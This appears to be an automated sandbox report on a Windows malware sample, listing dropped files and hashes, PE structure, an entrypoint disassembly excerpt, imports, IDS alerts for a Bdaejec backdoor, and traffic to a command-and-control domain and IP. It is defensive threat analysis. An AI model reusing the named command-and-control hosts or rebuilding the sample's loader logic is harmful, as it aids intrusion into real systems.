Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.4.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDA6C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4551
Entropy (8bit):	4.456878638243328
Encrypted:	false
SSDEEP:	48:cvIwWl8zsNJg77aI99qWpW8VYjYm8M4JkdFvW4+q8oHsXg/xd:uIjfnI77L7VjJSlUg/xd
MD5:	1653ADE7D42D516B209FA43D314AB6F2
SHA1:	018D5F1211883F96E93C8E70C780B077B54988BD
SHA-256:	41A1ED95139A2F4EE4C3AE8970BC9B0AC3FE7C6B12666ECE6A39076C05068294
SHA-512:	20A486F71D515DE6EB496F15430A012BE44E61C9B1A8F4FD20355C7866CD19D2B62B8617769D918177773AF3D937DE8722FF1318162CEBA25E4335F50B264F77
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="427194" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDD97.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Jul 26 00:51:34 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	24064
Entropy (8bit):	2.495191834009757
Encrypted:	false
SSDEEP:	96:5Q80w3OSnmZq0XxEsrXoJgPMxgLlHJi7Yvc79w0rhE15w3Ra7iSlK5WIkWI1MInQ:Z09rX8gE2OYUhwimcElKJGoyikIL
MD5:	755FD6EF8FB6799F4EB10E49344C5B49
SHA1:	162575BF487966BCDCD725D6CA8B111D537E3BFA
SHA-256:	20FA80B827A3646781CB0CDF4F14D7AAB8E7E41594A0A5139EEA5F4A5B717580
SHA-512:	C5C477145F4109B0C428B5A83BA29C2DFB8F99CF24F1DD5F4B0FB1B86D0C2309597624E9A8D520DFC360B9EA72A6734189F14B00AB33D735C65208102150CC4A
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........f............4...............<...........J...........T.......8...........T...............xI..........8...........$...............................................................................eJ..............GenuineIntel............T.......0.....f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDDE6.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8336
Entropy (8bit):	3.70054072950984
Encrypted:	false
SSDEEP:	192:R6l7wVeJwV6I6YSYSU9v/7McgmfQzpDG89bWpsfmym:R6lXJS6I6YdSU9v/7gmfQ5WCfa
MD5:	AD96E522F143131E476FE4D88787761E
SHA1:	AD020E0044E9D9BB391B0322443F3CB679ACE899
SHA-256:	B3A07ADC364DF8260F20279F3FF3479E268568078D9EED01BAE74955C7A88A47
SHA-512:	580EEBA310D298D2298883144C93467A0532CD8B944F043496457E0FE1B2D63FEEAAF1A8FABAEECD92E84032491055B2A1326ECBB3AAD8246A2718A414B9CE24
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.4.7.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDE25.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.464326652582071
Encrypted:	false
SSDEEP:	48:cvIwWl8zsNJg77aI99qWpW8VYMYm8M4J+tQNFt+q8gqycSbXrLd:uIjfnI77L7V8J+uVVq7SbrLd
MD5:	35B67B13CD35406209427161CC475A0F
SHA1:	B4C5A148B622247ED095C64125BC899F9A723214
SHA-256:	063909B7346EFE64FD5DAD404F4842C583C4D459445959862741118B8EC3CBF9
SHA-512:	69DF1D57F63F6271BC0E7F2C893105B7A26D107FDA7000B4FA9FCDAA64240D20945C6CDAD1297743E46A2B8D444C81DF3604A5D7474DDE25E0A2139D74957AA1
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="427194" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Download File

Process:	C:\Users\user\Desktop\7Y18r(193).exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	7.031075575407894
Encrypted:	false
SSDEEP:	384:IXZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:gQGPL4vzZq2o9W7GsxBbPr
MD5:	F7D21DE5C4E81341ECCD280C11DDCC9A
SHA1:	D4E9EF10D7685D491583C6FA93AE5D9105D815BD
SHA-256:	4485DF22C627FA0BB899D79AA6FF29BC5BE1DBC3CAA2B7A490809338D54B7794
SHA-512:	E4553B86B083996038BACFB979AD0B86F578F95185D8EFAC34A77F6CC73E491D4F70E1449BBC9EB1D62F430800C1574101B270E1CB0EEED43A83049A79B636A3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Joe Sandbox View:	Filename: 7Y18r(212).exe, Detection: malicious, Browse Filename: 7Y18r(216).exe.dll, Detection: malicious, Browse Filename: 7Y18r(223).exe, Detection: malicious, Browse Filename: builder_Release.exe, Detection: malicious, Browse Filename: A9BCD8D127BE95C64EDAE5CDD2379494A37D458FD9D5881D74F8D5487A805E6C.exe, Detection: malicious, Browse Filename: BOTBINARY.EXE.exe, Detection: malicious, Browse Filename: BkPack.exe, Detection: malicious, Browse Filename: bss.exe, Detection: malicious, Browse Filename: C0ED98D08381257B540A04C0868ECD6A628649AA70FEBCBE03778BAE532FB5BE.exe, Detection: malicious, Browse Filename: builder_Release.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........I.>.'..'.>.'..\.2.'.#.(.?.'.>.&.y.'.Q.#.=.'..).?.'.7...6.'.7...?.'.Rich>.'.................PE..L...JG.R.............................`.......0....@.......................................@..................................p...............................o.......................................................................................text.... ..........................`....rdata.......0......................@....data........@......................@....reloc.......P.......(..............@....aspack.. ...`.......,..............`....adata...............>..............@...................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.374849821258931
Encrypted:	false
SSDEEP:	6144:kFVfpi6ceLP/9skLmb0iyWWSPtaJG8nAge35OlMMhA2AX4WABlguNXiL:kV10yWWI/glMM6kF7Jq
MD5:	2E9AE6A6EC6CB61878ED2E4FAE58199A
SHA1:	2D018A316F5D83326BD4CF288B05610031AE8028
SHA-256:	25C07974C8E2EF0CB44DD769211B62D7CBCD0F2FCEB781A9B587AB101229F161
SHA-512:	36E5D41BC68F3E529042FFF333942259C68923017A26DD95BCD92610DF7EA6227C1D393E2EC107DECA615A17F9C4D70EB5554E2AC537EBB9DC3DAE5FBA764C41
Malicious:	false
Preview:	regfC...C....\.Z.................... ....@......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm....................................................................................................................................................................................................................................................................................................................................................K..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.865384550190376
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	7Y18r(193).exe
File size:	217'088 bytes
MD5:	3a085e2c496b3d2020401c3452b57aef
SHA1:	09754968722731fb208ddbebcc6c6a7cc9d42c7b
SHA256:	ba12343f978332fa8c76a99e384a9052b0f9ecc1bcf24bd25552832af77a03ef
SHA512:	f5bd05a3a87d2eafdc084b5900d69b34bf6270def6c63b3206987c83cd1a5209b5ae14a095729c00b8ca9f424489bcf11b5fc63c0ec89d8b7515765da2d28fb9
SSDEEP:	3072:mGmCsSSeDqwOo211BXydq3/CxrLgGolIWWi98mux/Xh0vFF1MY7glCFGCH:tDXDpf2lIq3/mPgaWWD9xKdFd7gUA
TLSH:	4724CF2236D48073E27766348B71C2928F27B8769B7198DF2B94096E1E752D2CFB4347
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.U...;...;...;.......;.a.....;.a...+.;.a...R.;.......;...:...;.a.....;.a.....;.a.....;.Rich..;.........PE..L.....$c...........

File Icon


Icon Hash:	0f2c121128222d22

Static PE Info

General

Entrypoint:	0x7ba000
Entrypoint Section:	Iu9
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6324DD9A [Fri Sep 16 20:33:30 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	cf6c67a92b992938826c4e4ca9230c19

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
sub esp, 0000016Ch
xor eax, eax
push ebx
push esi
push edi
mov dword ptr [ebp-24h], eax
mov dword ptr [ebp-10h], eax
mov dword ptr [ebp-14h], eax
mov dword ptr [ebp-08h], eax
mov dword ptr [ebp-0Ch], eax
mov dword ptr [ebp-20h], eax
mov dword ptr [ebp-18h], eax
mov dword ptr [ebp-48h], 58697557h
mov dword ptr [ebp-44h], 652E534Ch
mov dword ptr [ebp-40h], 00006578h
mov dword ptr [ebp-3Ch], 00000000h
call 00007F85C1304A15h
pop eax
add eax, 00000225h
mov dword ptr [ebp-04h], eax
mov eax, dword ptr fs:[00000030h]
mov dword ptr [ebp-28h], eax
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax], E904C483h
mov eax, dword ptr [ebp-04h]
mov dword ptr [eax+04h], FFC4DFFCh
mov eax, dword ptr [ebp-28h]
mov eax, dword ptr [eax+0Ch]
mov eax, dword ptr [eax+1Ch]
mov eax, dword ptr [eax]
mov eax, dword ptr [eax+08h]
mov ecx, dword ptr [eax+3Ch]
mov ecx, dword ptr [ecx+eax+78h]
add ecx, eax
mov edi, dword ptr [ecx+1Ch]
mov ebx, dword ptr [ecx+20h]
mov esi, dword ptr [ecx+24h]
mov ecx, dword ptr [ecx+18h]
add esi, eax
add edi, eax
add ebx, eax
xor edx, edx
mov dword ptr [ebp-30h], esi
mov dword ptr [ebp-1Ch], edx
mov dword ptr [ebp-34h], ecx
cmp edx, dword ptr [ebp-34h]
jnc 00007F85C1304B5Eh
movzx ecx, word ptr [esi+edx*2]
mov edx, dword ptr [ebx+edx*4]
mov esi, dword ptr [edi+ecx*4]
add edx, eax
mov ecx, dword ptr [edx]
add esi, eax
cmp ecx, 4D746547h
jne 00007F85C1304A64h
cmp dword ptr [edx+04h], 6C75646Fh
jne 00007F85C1304A5Bh

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[C++] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x17368	0xa0	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3b7000	0x2cb8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x4a70	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x33c	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x176fa	0x17800	ccb83befb8420cbf08bebbdb751ab053	False	0.5150120511968085	data	6.3585335305359685	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x19000	0x39d164	0x16400	a7c79281180313f0f4b5818a21f0b5ab	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3b7000	0x2cb8	0x2e00	ab5e90b7134f9013677ec329f0e0e3a5	False	0.4310461956521739	data	4.312487789475691	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
Iu9	0x3ba000	0x5000	0x4200	7ec866fb2bcf22856a9e8eb91e3be04d	False	0.7775213068181818	data	6.934398937344117	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3b7220	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Sami Lappish	Finland	0.38537906137184114
RT_ICON	0x3b7220	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Sami Lappish	Norway	0.38537906137184114
RT_ICON	0x3b7220	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Sami Lappish	Sweden	0.38537906137184114
RT_ICON	0x3b7ac8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Sami Lappish	Finland	0.4448874296435272
RT_ICON	0x3b7ac8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Sami Lappish	Norway	0.4448874296435272
RT_ICON	0x3b7ac8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Sami Lappish	Sweden	0.4448874296435272
RT_STRING	0x3b8de8	0x27e	Matlab v4 mat-file (little endian) S, numeric, rows 0, columns 0	Sami Lappish	Finland	0.47335423197492166
RT_STRING	0x3b8de8	0x27e	Matlab v4 mat-file (little endian) S, numeric, rows 0, columns 0	Sami Lappish	Norway	0.47335423197492166
RT_STRING	0x3b8de8	0x27e	Matlab v4 mat-file (little endian) S, numeric, rows 0, columns 0	Sami Lappish	Sweden	0.47335423197492166
RT_STRING	0x3b9068	0x230	data	Sami Lappish	Finland	0.48214285714285715
RT_STRING	0x3b9068	0x230	data	Sami Lappish	Norway	0.48214285714285715
RT_STRING	0x3b9068	0x230	data	Sami Lappish	Sweden	0.48214285714285715
RT_STRING	0x3b9298	0x3c6	data	Sami Lappish	Finland	0.453416149068323
RT_STRING	0x3b9298	0x3c6	data	Sami Lappish	Norway	0.453416149068323
RT_STRING	0x3b9298	0x3c6	data	Sami Lappish	Sweden	0.453416149068323
RT_STRING	0x3b9660	0x460	data	Sami Lappish	Finland	0.4473214285714286
RT_STRING	0x3b9660	0x460	data	Sami Lappish	Norway	0.4473214285714286
RT_STRING	0x3b9660	0x460	data	Sami Lappish	Sweden	0.4473214285714286
RT_STRING	0x3b9ac0	0x1f2	data	Sami Lappish	Finland	0.4939759036144578
RT_STRING	0x3b9ac0	0x1f2	data	Sami Lappish	Norway	0.4939759036144578
RT_STRING	0x3b9ac0	0x1f2	data	Sami Lappish	Sweden	0.4939759036144578
RT_GROUP_ICON	0x3b8b70	0x22	data	Sami Lappish	Finland	0.9705882352941176
RT_GROUP_ICON	0x3b8b70	0x22	data	Sami Lappish	Norway	0.9705882352941176
RT_GROUP_ICON	0x3b8b70	0x22	data	Sami Lappish	Sweden	0.9705882352941176
RT_VERSION	0x3b8b98	0x24c	data			0.5527210884353742

Imports

DLL	Import
KERNEL32.dll	WriteConsoleInputW, EnumDateFormatsExW, GetLocaleInfoA, GetDriveTypeW, _llseek, WriteConsoleOutputCharacterA, BuildCommDCBAndTimeoutsA, WriteConsoleOutputW, HeapAlloc, DeleteVolumeMountPointA, InterlockedIncrement, VerSetConditionMask, OpenJobObjectA, GetCommState, GetConsoleAliasA, InterlockedDecrement, GetCurrentProcess, GetSystemWindowsDirectoryW, QueryDosDeviceA, HeapFree, GetEnvironmentStringsW, WriteConsoleInputA, AddConsoleAliasW, CreateHardLinkA, SleepEx, GetFileAttributesExA, _lclose, SetTapeParameters, MoveFileWithProgressA, GetModuleHandleW, CreateNamedPipeW, LocalFlags, FindNextVolumeMountPointA, GetConsoleAliasesA, GetConsoleAliasesLengthA, ConvertFiberToThread, ExpandEnvironmentStringsA, ReadConsoleW, GetConsoleAliasExesW, WaitNamedPipeW, GetUserDefaultLangID, SetCommState, GetCommandLineA, CreateDirectoryExW, GetDriveTypeA, GetVolumePathNameW, GetCurrencyFormatW, ActivateActCtx, GetConsoleCP, GetSystemDirectoryW, SetFileShortNameW, LoadLibraryW, GetConsoleMode, SetCommConfig, _hread, GetCalendarInfoW, GetSystemWindowsDirectoryA, InterlockedPopEntrySList, GetFileAttributesA, GlobalFlags, HeapCreate, EnumSystemCodePagesA, SetTimeZoneInformation, SetSystemPowerState, WritePrivateProfileSectionW, TerminateProcess, ReplaceFileW, GetCompressedFileSizeA, SetThreadContext, CompareStringW, lstrlenW, GlobalUnlock, DisconnectNamedPipe, GetTempPathW, GetNamedPipeHandleStateW, EnumSystemLocalesA, GetPrivateProfileIntW, GetConsoleOutputCP, VerifyVersionInfoW, GlobalUnfix, FindFirstFileA, GetCurrentDirectoryW, GetProcAddress, RemoveDirectoryA, SetComputerNameA, GetProcessVersion, GetPrivateProfileStringA, OpenWaitableTimerA, Process32FirstW, LocalAlloc, IsWow64Process, BuildCommDCBAndTimeoutsW, AddAtomW, CreateEventW, GlobalGetAtomNameW, SetThreadIdealProcessor, FoldStringW, FoldStringA, GlobalFindAtomW, FindNextFileA, _lread, GetModuleHandleA, SetLocaleInfoW, CancelIo, GetProcessAffinityMask, FindNextFileW, GetStringTypeW, WriteProfileStringW, VirtualProtect, GetConsoleCursorInfo, QueryPerformanceFrequency, GetShortPathNameW, SetCalendarInfoA, SetProcessShutdownParameters, OpenSemaphoreW, ReadConsoleInputW, FindAtomW, GetWindowsDirectoryW, DeleteFileW, MoveFileWithProgressW, GetTempPathA, ReadConsoleOutputCharacterW, InterlockedPushEntrySList, TlsFree, EnumSystemLocalesW, GetVolumeInformationW, lstrcpyA, CloseHandle, WriteConsoleW, SetStdHandle, FlushFileBuffers, SetFilePointer, HeapReAlloc, FindFirstFileW, CreateFileA, DebugActiveProcess, GetVolumeNameForVolumeMountPointA, CreateActCtxA, ExitProcess, IsValidLocale, GetUserDefaultLCID, IsValidCodePage, GetOEMCP, GetACP, HeapSize, GetSystemTimeAsFileTime, GetCurrentProcessId, GetTickCount, EncodePointer, DecodePointer, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetLastError, GetCommandLineW, HeapSetInformation, GetStartupInfoW, RaiseException, RtlUnwind, WideCharToMultiByte, LCMapStringW, MultiByteToWideChar, GetCPInfo, IsProcessorFeaturePresent, WriteFile, GetStdHandle, GetModuleFileNameW, InitializeCriticalSectionAndSpinCount, GetLocaleInfoW, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, TlsAlloc, TlsGetValue, TlsSetValue, SetLastError, GetCurrentThreadId, FreeEnvironmentStringsW, SetHandleCount, GetFileType, QueryPerformanceCounter, CreateFileW
USER32.dll	CharToOemBuffA, GetDlgCtrlID, GetAltTabInfoW, DrawCaption, CharUpperW
GDI32.dll	GetCharWidthFloatA
ADVAPI32.dll	ClearEventLogA, RevertToSelf, InitiateSystemShutdownA, AbortSystemShutdownW
SHELL32.dll	DragAcceptFiles
ole32.dll	CoGetInstanceFromFile
WINHTTP.dll	WinHttpGetProxyForUrl, WinHttpWriteData, WinHttpReadData, WinHttpOpen

Possible Origin

Language of compilation system	Country where language is spoken	Map
Sami Lappish	Finland
Sami Lappish	Norway
Sami Lappish	Sweden

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T02:51:47.771172+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49712	13.85.23.86	192.168.2.8
2024-07-26T02:51:33.974086+0200	TCP	2807908	ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin	49705	799	192.168.2.8	44.221.84.105
2024-07-26T02:52:25.910942+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	51996	13.85.23.86	192.168.2.8
2024-07-26T02:51:31.550495+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	54441	53	192.168.2.8	1.1.1.1
2024-07-26T02:51:30.550429+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	54441	53	192.168.2.8	1.1.1.1
2024-07-26T02:51:33.550629+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	54441	53	192.168.2.8	1.1.1.1
2024-07-26T02:51:29.552802+0200	UDP	2838522	ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup	54441	53	192.168.2.8	1.1.1.1

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 02:51:33.580358982 CEST	49705	799	192.168.2.8	44.221.84.105
Jul 26, 2024 02:51:33.585237026 CEST	799	49705	44.221.84.105	192.168.2.8
Jul 26, 2024 02:51:33.585364103 CEST	49705	799	192.168.2.8	44.221.84.105
Jul 26, 2024 02:51:33.585599899 CEST	49705	799	192.168.2.8	44.221.84.105
Jul 26, 2024 02:51:33.590390921 CEST	799	49705	44.221.84.105	192.168.2.8
Jul 26, 2024 02:51:33.974029064 CEST	799	49705	44.221.84.105	192.168.2.8
Jul 26, 2024 02:51:33.974086046 CEST	49705	799	192.168.2.8	44.221.84.105
Jul 26, 2024 02:51:33.981743097 CEST	799	49705	44.221.84.105	192.168.2.8
Jul 26, 2024 02:51:33.981796026 CEST	49705	799	192.168.2.8	44.221.84.105
Jul 26, 2024 02:51:40.065602064 CEST	49705	799	192.168.2.8	44.221.84.105

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 02:51:29.552802086 CEST	54441	53	192.168.2.8	1.1.1.1
Jul 26, 2024 02:51:30.550429106 CEST	54441	53	192.168.2.8	1.1.1.1
Jul 26, 2024 02:51:31.550494909 CEST	54441	53	192.168.2.8	1.1.1.1
Jul 26, 2024 02:51:33.550628901 CEST	54441	53	192.168.2.8	1.1.1.1
Jul 26, 2024 02:51:33.562335014 CEST	53	54441	1.1.1.1	192.168.2.8
Jul 26, 2024 02:51:33.562350988 CEST	53	54441	1.1.1.1	192.168.2.8
Jul 26, 2024 02:51:33.562361002 CEST	53	54441	1.1.1.1	192.168.2.8
Jul 26, 2024 02:51:33.562371016 CEST	53	54441	1.1.1.1	192.168.2.8
Jul 26, 2024 02:51:48.177746058 CEST	53	64027	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 02:51:29.552802086 CEST	192.168.2.8	1.1.1.1	0x495f	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:51:30.550429106 CEST	192.168.2.8	1.1.1.1	0x495f	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
